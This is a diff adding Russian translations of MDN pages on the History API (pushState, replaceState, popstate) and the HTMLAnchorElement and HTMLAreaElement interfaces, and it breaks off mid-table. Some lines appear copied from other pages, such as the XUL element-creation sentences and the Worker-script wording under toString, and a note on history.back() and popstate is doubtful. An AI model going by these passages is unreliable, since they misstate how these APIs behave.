+<p>Если пользователь ещё раз нажимает кнопку <strong>"Назад"</strong>, URL изменится на <code>http://mozilla.org/foo.html</code>, а в документе снова произойдёт событие <code>popstate</code>, на этот раз с объектом состояния, имеющим значение <code>null</code>. В этом случае возврат назад также не меняет содержимое документа, как и на предыдущем шаге, хотя документ может сам обновить своё содержимое после получения события <code>popstate</code>.</p>
+
+<div class="blockIndicator note">
+<p><strong>Примечание:</strong> Вызов <code>history.back()</code> обычно ведёт себя так же, как нажатие на кнопку <strong>"Назад"</strong>. Но есть одно важное исключение:</p>
+
+<p><em>После использования</em> <code>history.pushState()</code>, вызов <code>history.back()</code> <em>не вызывает событие</em> <code>popstate</code>. Нажатие в браузере на кнопку "Назад" (всё ещё) делает это.</p>
+</div>
+
+<h3 id="Метод_pushState">Метод pushState()</h3>
+
+<p>Метод <code>pushState()</code> принимает три параметра: <em>объект состояния</em>, <em>заголовок</em> (в данный момент игнорируется) и (необязательно) параметр "<em>URL"</em>.</p>
+
+<p>Давайте более подробно рассмотрим каждый и этих трёх параметров.</p>
+
+<dl>
+ <dt><strong>state object</strong> </dt>
+ <dd>Объект состояния – это JavaScript-объект, связанный с новой записью в истории, созданной <code>pushState()</code>. Всякий раз, когда пользователь переходит к новому состоянию, происходит событие <code>popstate</code>, а свойство <code>state</code> этого события содержит копию объекта состояния с записями истории.</dd>
+ <dd>Объект состояния может быть чем-угодно, что может быть сериализовано. Поскольку Firefox сохраняет объекты состояния на диске пользователя, чтобы их можно было восстановить после перезапуска браузера, мы накладываем ограничение в 640 тысяч символов на сериализованное представление объекта состояния. Если вы передаёте объект состояния, чьё сериализованное представление больше этого значения, метод <code>pushState()</code> выдаст исключение. Если вам нужно хранилище большего размера, следует рассмотреть использование <code>sessionStorage</code> и/или <code>localStorage</code>.</dd>
+</dl>
+
+<dl>
+ <dt><strong>title</strong></dt>
+ <dd>Заголовок - <a href="https://github.com/whatwg/html/issues/2174">все браузеры, кроме Safari, на данный момент игнорируют этот параметр</a>, но могут начать использовать в будущем. Ввиду будущих изменений метода, безопасным решением является передача пустой строки. В качестве альтернативы вы можете передать короткий заголовок для состояни, в которое переходите.</dd>
+</dl>
+
+<dl>
+ <dt><strong>URL</strong></dt>
+ <dd>Через этот параметр передаётся URL-адрес новой новый записи в истории. Обратите внимание, что браузер не будет пытаться загрузить данный URL сразу после вызова <code>pushState()</code>, но может попытаться сделать это позже, например, после того, как пользователь перезапустит браузер. Новый URL-адрес не обязан быть абсолютным; если он относительный, то определяется относительно текущего URL. Новый URL должен вести на тот же домен, протокол и порт, иначе <code>pushState()</code> выдаст исключение. Данный параметр не является обязательным; если он не указан, будет использоваться URL текущего документа.</dd>
+</dl>
+
+<div class="note"><strong>Примечание:</strong> Начиная с Gecko 2.0 {{ geckoRelease("2.0") }} и до Gecko 5.0 {{ geckoRelease("5.0") }}, переданный объект сериализуется с помощью JSON. Начиная с Gecko 6.0 {{ geckoRelease("6.0") }}, объект сериализуется с помощью <a href="/en/DOM/The_structured_clone_algorithm">алгоритма структурированного клонирования</a>. Это позволяет безопасно передавать более широкий спектр объектов.</div>
+
+<p>Вызов <code>pushState()</code> в некоторой степени похож на установку <code>window.location = "#foo"</code>, поскольку они оба также создают и активируют ещё одну запись в истории, связанную с текущим документом.</p>
+
+<p>Но у <code>pushState()</code> есть несколько преимуществ:</p>
+
+<ul>
+ <li>Новый URL может быть любым в пределах того же домена, порта и протокола, что и текущий адрес. Тогда как настройка <code>window.location</code> оставляет вас на том же {{ domxref("document") }} лишь в том случае, если вы меняете только хэш</li>
+ <li>Менять URL не обязательно. Тогда как настройка <code>window.location = "#foo";</code> создаёт новую запись в истории, только если текущий хеш не <code>#foo</code></li>
+ <li>С новой записью в истории можно связать любые данные. В подходе, основанном на хеше, все соответствующие данные нужно кодировать в короткую строку</li>
+ <li>Если заголовок <code>title</code> впоследствии используется браузерами, эти данные могут быть использованы (независимо от, скажем, хеша).</li>
+</ul>
+
+<p>Обратите внимание, что <code>pushState()</code> никогда не вызывает событие <code>hashchange</code>, даже если новый URL отличается от старого только хешем.</p>
+
+<p>В <a href="/en-US/docs/Mozilla/Tech/XUL">XUL</a>-документах он создаёт указанный XUL-элемент</p>
+
+<p>В других документах он создаёт элемент с null namespace URI.</p>
+
+<h3 id="Метод_replaceState">Метод replaceState()</h3>
+
+<p><code>history.replaceState()</code> работает точно так же, как <code>history.pushState()</code>, за исключением того, что <code>replaceState()</code> изменяет текущую запись истории вместо создания новой записи. Обратите внимание, что он не предотвращает создание новой записи в глобальной истории браузера.</p>
+
+<p><code>replaceState()</code> особенно полезен, когда вы хотите обновить объект состояния или URL текущей записи в истории в ответ на какое-то действие пользователя.</p>
+
+<dl>
+</dl>
+
+<div class="note"><strong>Примечание:</strong> Начиная с Gecko 2.0 {{ geckoRelease("2.0") }} и до Gecko 5.0 {{ geckoRelease("5.0") }}, переданный объект сериализуется с помощью JSON. Начиная с Gecko 6.0 {{ geckoRelease("6.0") }}, объект сериализуется с помощью <a href="/en/DOM/The_structured_clone_algorithm">алгоритма структурированного клонирования</a>. Это позволяет безопасно передавать более широкий спектр объектов.</div>
+
+<h3 id="Пример_метода_replaceState">Пример метода replaceState()</h3>
+
+<p>Предположим, на странице <code><span class="nowiki">http://mozilla.org/foo.html</span></code> выполняется следующий JavaScript-код:</p>
+
+<pre class="brush: js notranslate">let stateObj = { foo: "bar" }
+history.pushState(stateObj, "page 2", "bar.html")
+</pre>
+
+<p>Объяснение этих двух строк можно найти в приведённом выше разделе <em><a href="#Example_of_pushState_method">пример метода pushState()</a></em>.</p>
+
+<p>Далее, предположим, на странице <code><span class="nowiki">http://mozilla.org/bar.html</span></code><span class="nowiki"> выполняется JavaScript-код:</span></p>
+
+<pre class="brush: js notranslate">history.replaceState(stateObj, "page 3", "bar2.html")
+</pre>
+
+<p>Это приведёт к тому, что в URL-строке отобразится адрес <code><span class="nowiki">http://mozilla.org/bar2.html</span></code><span class="nowiki">, но браузер не станет сразу загружать </span><code>bar2.html</code> и даже не станет проверять наличие этой страницы <code>bar2.html</code>.</p>
+
+<p>Теперь предположим, что пользователь переходит по адресу <code><span class="nowiki">http://www.microsoft.com</span></code><span class="nowiki">, а затем нажимает на кнопку <strong>"Назад"</strong>. В этом случае в URL-строке отобразится <code>http://mozilla.org/bar2.html</code>. Если же пользователь снова нажмёт на кнопку <strong>"Назад"</strong>, в URL-строке отобразится <code>http://mozilla.org/foo.html</code> и полностью обойдёт <code>bar.html</code>.</span></p>
+
+<h3 id="Событие_popstate">Событие popstate</h3>
+
+<p>Событие <code>popstate</code> вызывается в окне каждый раз, когда активная запись в истории меняется. Если запись в истории, которая активируется, была создана с помощью вызова {{DOMxRef("History.pushState","pushState")}} или активирована вызовом {{DOMxRef("History.replaceState","replaceState")}}, свойство <code>state</code> события <code>popstate</code> содержит копию записи в истории объекта события.</p>
+
+<p>Примеры использования можно посмотреть в {{ domxref("Window.onpopstate") }}.</p>
+
+<h3 id="Чтение_текущего_состояния">Чтение текущего состояния</h3>
+
+<p>Когда страница загружается, она может иметь объект события со значением, отличным от <code>"null"</code>. Это может произойти, например, если страница устанавливает объект состояния (с помощью {{DOMxRef("History.pushState","pushState()")}} или {{DOMxRef("History.replaceState","replaceState()")}}) и затем пользователь перезапускает браузер. Когда страница перезагружается, она получит событие <code>onload</code>, но не получит событие <code>popstate</code>. Тем не менее, если вы прочитаете свойство {{DOMxRef("History.state","history.state")}}, получите объект состояния, который получили, если бы произошло событие <code>popstate</code>.</p>
+
+<p>С помощью свойства {{DOMxRef("History.state","history.state")}} можно прочитать состояние текущей записи в истории, не дожидаясь события <code>popstate</code>, например:</p>
+
+<pre class="brush: js notranslate">let currentState = history.state
+</pre>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/History_API">History API</a></li>
+ <li><a href="/en-US/docs/Web/API/History_API/Example">Ajax navigation example</a></li>
+ <li>{{ domxref("window.history") }}</li>
+</ul>
diff --git a/files/ru/web/api/htmlanchorelement/index.html b/files/ru/web/api/htmlanchorelement/index.html
new file mode 100644
index 0000000000..acfc568ef4
--- /dev/null
+++ b/files/ru/web/api/htmlanchorelement/index.html
@@ -0,0 +1,231 @@
+---
+title: HTMLAnchorElement
+slug: Web/API/HTMLAnchorElement
+translation_of: Web/API/HTMLAnchorElement
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p>Интерфейс <strong><code>HTMLAnchorElement</code></strong> представляет элементы гиперссылки и предоставляет специальные свойства и методы (помимо обычного объектного интерфейса {{domxref("HTMLElement")}}, который они наследуют) для управления макетом и представлением таких элементов.<br>
+ Этот интерфейс соответствует элементу &lt;a&gt;; не путать с &lt; link&gt;, который представлен HTMLLinkElement.</p>
+
+<p>{{InheritanceDiagram(600, 120)}}</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Наследует свойства от его родителя,</em><em>{{domxref("HTMLElement")}}, и реализует те из {{domxref("URLUtils")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLAnchorElement.accessKey")}}</dt>
+ <dd>Это {{domxref("DOMString")}} отображает собой единичный символ, который переключает фокус ввода на гиперссылку.</dd>
+ <dt>{{domxref("HTMLAnchorElement.charset")}} {{obsolete_inline}}</dt>
+ <dd>Это {{domxref("DOMString")}} отображает кодировку символов связаного ресурса.</dd>
+ <dt>{{domxref("HTMLAnchorElement.coords")}} {{obsolete_inline}}</dt>
+ <dd>Это {{domxref("DOMString")}} отображает список координат разделенный запятыми.</dd>
+ <dt>{{domxref("HTMLAnchorElement.download")}} {{experimental_inline}}</dt>
+ <dd>Это {{domxref("DOMString")}} показыват что связаный ресурс предназначен для загрузки, а не для отображения в браузере. Значение представляет предполагаемое имя файла. Если имя не является допустимым именем файла нижележащей ОС, браузер будет адаптировать его. Значение это URL по схеме <code>http:</code>, <code>file:</code>, <code>data:</code> или даже <code>blob:</code> (созданный с помощью {{domxref("URL.createObjectURL")}}).</dd>
+ <dt>{{domxref("URLUtils.hash")}}</dt>
+ <dd>Это {{domxref("DOMString")}} отображает фрагмент идентификатора, включая ведущий hash mark ('<code>#</code>'), если, указан в URL.</dd>
+ <dt>{{domxref("URLUtils.host")}}</dt>
+ <dd>Это {{domxref("DOMString")}} отображает имя хоста порт (если это не порт по умолчанию) в указанном URL.</dd>
+ <dt>{{domxref("URLUtils.hostname")}}</dt>
+ <dd>Это {{domxref("DOMString")}} отбражает имя хоста в указанном URL.</dd>
+ <dt>{{domxref("URLUtils.href")}}</dt>
+ <dd>Это {{domxref("DOMString")}} что отображает {{htmlattrxref("href", "a")}} HTML атрибут, содержащий действительный URL связанного ресурса.</dd>
+ <dt>{{domxref("HTMLAnchorElement.hreflang")}}</dt>
+ <dd>Это {{domxref("DOMString")}} что отображает HTML атрибут {{htmlattrxref("hreflang", "a")}}, показывающий язык связанного ресурса.</dd>
+ <dt>{{domxref("HTMLAnchorElement.media")}}</dt>
+ <dd>Это {{domxref("DOMString")}} что отображает {{htmlattrxref("media", "a")}} HTML атрибут, с указанием предполагаемого media для связанного ресурса.</dd>
+ <dt>{{domxref("HTMLAnchorElement.name")}} {{obsolete_inline}}</dt>
+ <dd>Это {{domxref("DOMString")}} отображает имя якоря.</dd>
+ <dt>{{domxref("URLUtils.password")}}</dt>
+ <dd>Это {{domxref("DOMString")}} содержащий пароль, указанный перед именем домена.</dd>
+ <dt>{{domxref("URLUtils.origin")}} {{readonlyInline}}</dt>
+ <dd>Возвращает {{domxref("DOMString")}} содержащий источник, то есть его схему, его домен и его порт.</dd>
+ <dt>{{domxref("URLUtils.pathname")}}</dt>
+ <dd>Это {{domxref("DOMString")}} отображающий состовную часть пути имени, любого, ссылающегося URL.</dd>
+ <dt>{{domxref("URLUtils.port")}}</dt>
+ <dd>Это {{domxref("DOMString")}} отображающий составную часть порта, любого, ссылающегося URL.</dd>
+ <dt>{{domxref("URLUtils.protocol")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} отображаеющий составную часть протокола, включая двоеточия ('<code>:</code>'), ссылающегося URL.</dd>
+ <dt>{{domxref("HTMLAnchorElement.referrer")}} {{experimental_inline}}</dt>
+ <dd>Это {{domxref("DOMString")}} что отображает {{htmlattrxref("referrer", "a")}} HTML аттрибут, показывающий какой referrer используется, когда выбранно изображение.</dd>
+ <dt>{{domxref("HTMLAnchorElement.rel")}}</dt>
+ <dd>Это {{domxref("DOMString")}} что отображает {{htmlattrxref("rel", "a")}} HTML атрибут, уточняя взаимоотношения целевого объекта к связанному объекту.</dd>
+ <dt>{{domxref("HTMLAnchorElement.relList")}} {{readonlyInline}}</dt>
+ <dd>Возвращает {{domxref("DOMTokenList")}} который отображает {{htmlattrxref("rel", "a")}} HTML атрибут, как список токенов.</dd>
+ <dt>{{domxref("HTMLAnchorElement.rev")}} {{obsolete_inline}}</dt>
+ <dd>Это {{domxref("DOMString")}} отображающий как {{htmlattrxref("rev", "a")}} HTML атрибут, уточняя взаимоотношения связанного объекта к целевому объекту</dd>
+ <dt>{{domxref("URLUtils.search")}}</dt>
+ <dd>Это {{domxref("DOMString")}} отображающий искомый элемент, включая ведущий знак вопроса ('<code>?</code>'), если таковой имеется, в ссылающемся URL.</dd>
+ <dt>{{domxref("HTMLAnchorElement.shape")}} {{obsolete_inline}}</dt>
+ <dd>Это {{domxref("DOMString")}} отображающий вид активной области.</dd>
+ <dt>{{domxref("HTMLAnchorElement.tabindex")}}</dt>
+ <dd>Это <code>long</code> содержащий положение элемента в норядке навигационного переключения для текущего документа.</dd>
+ <dt>{{domxref("HTMLAnchorElement.target")}}</dt>
+ <dd>Это {{domxref("DOMString")}} который отображает {{htmlattrxref("target", "a")}} HTML атрибут, указывая где отображается связанный ресурс.</dd>
+ <dt>{{domxref("HTMLAnchorElement.text")}}</dt>
+ <dd>Это {{domxref("DOMString")}} является синонимом {{domxref("Node.textContent")}} свойства.</dd>
+ <dt>{{domxref("HTMLAnchorElement.type")}}</dt>
+ <dd>Это {{domxref("DOMString")}} которое отображает {{htmlattrxref("type", "a")}} HTML атрибут, показывающий MIME тип связанного ресурса.</dd>
+ <dt>{{domxref("URLUtils.username")}}</dt>
+ <dd>Это {{domxref("DOMString")}} содержащий имя пользователя определенное перед именем домена.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Наследует методы от его родителя, {{domxref("HTMLElement")}}, </em><em>и реализует те из {{domxref("URLUtils")}}</em><em>.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLElement.blur()")}}</dt>
+ <dd>Удаляет фокус клавиатуры из текущего элемента.</dd>
+ <dt>{{domxref("HTMLElement.focus()")}}</dt>
+ <dd>Дает фокус клавиатуры на текущий элемент.</dd>
+ <dt>{{domxref("URLUtils.toString()")}}</dt>
+ <dd>Возвращает {{domxref("DOMString")}} содержащий весь URl. Это синоним {{domxref("URLUtils.href")}}, хотя он не может быть использован для изменения значения.</dd>
+</dl>
+
+<p><code>blur()</code> и <code>focus()</code> методы наследуемые от {{domxref("HTMLElement")}} для HTML5, но они были определены в <code>HTMLAnchorElement</code> в DOM Level 2 HTML и более ранней спецификации.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Referrer Policy', '#referrer-policy-delivery-referrer-attribute', 'referrer attribute')}}</td>
+   <td>{{Spec2('Referrer Policy')}}</td>
+   <td>Добавлено <code>referrer</code> свойство.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "text-level-semantics.html#the-a-element", "HTMLAnchorElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Следующте свойство были добавлены: <code>download</code>.<br>
+    Технически Technically, URL связанные свойства, <code>media</code>, <code>host</code>, <code>hostname</code>, <code>pathname</code>, <code>port</code>, <code>protocol</code>, <code>search</code>, и <code>hash</code>, были перемещены в {{domxref("URLUtils")}} интерфейс, и <code>HTMLAreaElement</code> реализует этот интерфейс.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "text-level-semantics.html#the-a-element", "HTMLAnchorElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Методы <code>blur()</code> и <code>focus()</code>, а также свойства <code>tabindex</code> и <code>accessKey</code>, теперь определены в {{domxref("HTMLElement")}}.<br>
+    Следующие свойства сейча устарели: <code>charset</code>, <code>coords</code>, <code>name</code>, <code>rev</code>, и <code>shape</code>.<br>
+    Следующие свойства были добавлены: <code>hash</code>, <code>host</code>, <code>hostname</code>, <code>media</code>, <code>pathname</code>, <code>port</code>, <code>protocol</code>, <code>relList</code>, <code>search</code>, and <code>text</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-48250443', 'HTMLAnchorElement')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td>Никаких изменений с {{SpecName("DOM1")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-html.html#ID-48250443', 'HTMLAnchorElement')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Изначальное описание.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимомть_с_браузерами">Совместимомть с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(1.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>download</code></td>
+   <td>14</td>
+   <td>20</td>
+   <td>{{CompatUnknown}}</td>
+   <td>15</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>username</code>, <code>password</code>, and <code>origin</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("26.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>referrer</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("42")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(1.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>download</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>username</code>, <code>password</code>, and <code>origin</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("26.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>referrer</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("42")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>HTML элемент реализующий это интерфейс: {{HTMLElement("a")}}</li>
+</ul>
diff --git a/files/ru/web/api/htmlareaelement/index.html b/files/ru/web/api/htmlareaelement/index.html
new file mode 100644
index 0000000000..bdf4705d45
--- /dev/null
+++ b/files/ru/web/api/htmlareaelement/index.html
@@ -0,0 +1,220 @@
+---
+title: HTMLAreaElement
+slug: Web/API/HTMLAreaElement
+translation_of: Web/API/HTMLAreaElement
+---
+<div>
+<div>{{APIRef("HTML DOM")}}</div>
+</div>
+
+<p><strong><code>HTMLAreaElement</code></strong> интерфейс предоставляющий специальные свойства и методы (помимо тех, постоянных объектов {{domxref("HTMLElement")}} интерфейса, также доступных ему по наследству) для манипуляции расположением и представлением пространством элементов.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Наследует свойства от его родителя, {{domxref("HTMLElement")}}, и реализует те из {{domxref("URLUtils")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLAreaElement.accessKey")}}</dt>
+ <dd>Это {{domxref("DOMString")}} содержащий единственный символ, который переключает фокус ввода для управления.</dd>
+ <dt>{{domxref("HTMLAreaElement.alt")}}</dt>
+ <dd>Это {{domxref("DOMString")}} которое отображает {{ htmlattrxref("alt", "area") }} HTML атрибут, содержащий альтернативный текст для элемента.</dd>
+ <dt>{{domxref("HTMLAreaElement.coords")}}</dt>
+ <dd>Это {{domxref("DOMString")}} который отображает {{ htmlattrxref("coords", "area") }} HTML атрибут, содержащий координаты активного участка региона.</dd>
+ <dt>{{domxref("HTMLAreaElement.download")}} {{experimental_inline}}</dt>
+ <dd>Это {{domxref("DOMString")}} показывает что связанный ресурс предназначен для загрузки, а не для отображения в браузере. Значение представляет собой предполагаемое имя файла. Если имя не является допустимым именем файла в данной ОС, браузер будет адаптировать его.</dd>
+ <dt>{{domxref("URLUtils.hash")}}</dt>
+ <dd>Это {{domxref("DOMString")}} содержащий идентификатор фрагмента (включая начальный hash mark (#)), если таковые имеются, в указанном URL.</dd>
+ <dt>{{domxref("URLUtils.host")}}</dt>
+ <dd>Это {{domxref("DOMString")}} содержащий имя хоста и порт (если это не порт по умолчанию) в указанном URL.</dd>
+ <dt>{{domxref("URLUtils.hostname")}}</dt>
+ <dd>Это {{domxref("DOMString")}} содержащий имя хоста в указанном URL.</dd>
+ <dt>{{domxref("URLUtils.href")}}</dt>
+ <dd>Это {{domxref("DOMString")}} содержание которого отображает {{ htmlattrxref("href", "area") }} HTML атрибут, содержащий действительный URL связанного с ним ресурса.</dd>
+ <dt>{{domxref("HTMLAreaElement.hreflang")}}</dt>
+ <dd>Это {{domxref("DOMString")}} содержание которого отображает {{ htmlattrxref("hreflang", "area") }} HTML аттрибут, показывающий язык связанного с ним ресурса.</dd>
+ <dt>{{domxref("HTMLAreaElement.media")}}</dt>
+ <dd>Это {{domxref("DOMString")}} содержание которого отображает {{ htmlattrxref("media", "area") }} HTML аттрибут, показывающий целевое mediaсвязанного с ним ресурса.</dd>
+ <dt>{{domxref("HTMLAreaElement.noHref")}} {{obsolete_inline}}</dt>
+ <dd>Это {{domxref("Boolean")}} флаг показывающий, если зона неактивна (<code>true</code>) или активна (<code>false</code>).</dd>
+ <dt>{{domxref("URLUtils.password")}}</dt>
+ <dd>Это {{domxref("DOMString")}} содержащий пароль указанный перед именем домена.</dd>
+ <dt>{{domxref("URLUtils.origin")}} {{readonlyInline}}</dt>
+ <dd>Возвращает {{domxref("DOMString")}} содержащий изначальный URL, то есть его схема, его домен, его порт.</dd>
+ <dt>{{domxref("URLUtils.pathname")}}</dt>
+ <dd>Это {{domxref("DOMString")}} содержащий состовную часть пути имени, если таковые имеются в указанном URL.</dd>
+ <dt>{{domxref("URLUtils.port")}}</dt>
+ <dd>Это {{domxref("DOMString")}} содержащий компонент порта , если таковой имеется в указанном URL.</dd>
+ <dt>{{domxref("URLUtils.protocol")}}</dt>
+ <dd>Это {{domxref("DOMString")}} содержащий компоненту протокола (в том числе двоеточия <code>':'</code>), в указанном URL.</dd>
+ <dt>{{domxref("HTMLAreaElement.referrer")}} {{experimental_inline}}</dt>
+ <dd>Это {{domxref("DOMString")}} который отображает {{htmlattrxref("referrer", "area")}} HTML атрибут,  показывающий какой referrer используется когда извлекается связанны с ним ресурс.</dd>
+ <dt>{{domxref("HTMLAreaElement.rel")}}</dt>
+ <dd>Это {{domxref("DOMString")}} который отображает {{ htmlattrxref("rel", "area") }} HTML атрибут,показывая отношения текущего документа со связанным с ним ресурсом.</dd>
+ <dt>{{domxref("HTMLAreaElement.relList")}} {{readOnlyInline}}</dt>
+ <dd>Возвращает {{domxref("DOMTokenList")}} который отображает {{ htmlattrxref("rel", "area") }} HTML атрибут, показывая отношения текущего документа к связанному с ним ресурса, как список токенов.</dd>
+ <dt>{{domxref("HTMLAreaElement.search")}}</dt>
+ <dd>Это {{domxref("DOMString")}} содержащий найденный элемент (включая начальный знак вопроса<code>'?'</code>), если таковой имеется, в указанном URL.</dd>
+ <dt>{{domxref("HTMLAreaElement.shape")}}</dt>
+ <dd>Это {{domxref("DOMString")}} который отображается {{ htmlattrxref("shape", "area") }} HTML атрибут, включающий вид активного участка, ограниченный известными значениями.</dd>
+ <dt>{{domxref("HTMLAreaElement.tabIndex")}}</dt>
+ <dd>Как <code>long </code><span class="short_text" id="result_box" lang="ru"><span class="hps">содержащий</span> <span class="hps">положение</span> <span class="hps">элемента</span> <span class="hps">в</span> <span class="hps">порядке табуляции</span></span>.</dd>
+ <dt>{{domxref("HTMLAreaElement.target")}}</dt>
+ <dd>Это  {{domxref("DOMString")}} которое отображает {{ htmlattrxref("target", "area") }} HTML атрибут, включая контекст просмотра, в котором открыт связанный с ним ресурс.</dd>
+ <dt>{{domxref("HTMLAreaElement.type")}}</dt>
+ <dd>Это {{domxref("DOMString")}} которое отображает {{ htmlattrxref("type", "area") }} HTML атрибут, показывающий MIME тип связанного с ним ресурса.</dd>
+ <dt>{{domxref("URLUtils.username")}}</dt>
+ <dd>Это {{domxref("DOMString")}} содержащий имя пользователя. определеное перед доменным именем.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>наследует методы от его родителя, {{domxref("HTMLElement")}} и реализует те из {{domxref("URLUtils")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("URLUtils.toString()")}}</dt>
+ <dd>Возвращает {{domxref("DOMString")}} содержащий весь URL скрипта, выполняемого в {{domxref("Worker")}}. Это синоним для {{domxref("URLUtils.href")}}.</dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Referrer Policy', '#referrer-policy-delivery-referrer-attribute', 'referrer attribute')}}</td>
+   <td>{{Spec2('Referrer Policy')}}</td>
+   <td>Добавлено свойство <code>referrer</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "the-map-element.html#the-area-element", "HTMLAreaElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Следующие свойства были добавлены: <code>download</code>.<br>
+    Технически, the URL-связанные свойства, <code>media</code>, <code>host</code>, <code>hostname</code>, <code>pathname</code>, <code>port</code>, <code>protocol</code>, <code>search</code>, и <code>hash</code>, были перемещены в {{domxref("URLUtils")}} интерфейс, и <code>HTMLAreaElement</code> реализует этот интерфейс.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "embedded-content-0.html#the-area-element", "HTMLAreaElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Технически, свойство <code>tabindex</code> и <code>accesskey</code> теперь определены в {{domxref("HTMLElement")}}.<br>
+    Следующие свойства сейчас устарели:  <code>nohref</code>.<br>
+    Следующие свойства были добавлены: <code>rel</code>, <code>relList</code>, <code>media</code>, <code>hreflang</code>, <code>type</code>, <code>host</code>, <code>hostname</code>, <code>pathname</code>, <code>port</code>, <code>protocol</code>, <code>search</code>, и <code>hash</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-26019118', 'HTMLAreaElement')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td>Не изменилось с {{SpecName("DOM1")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-html.html#ID-26019118', 'HTMLAreaElement')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Изначальное описание.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(1.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>download</code> {{experimental_inline}}</td>
+   <td>{{CompatUnknown}}</td>
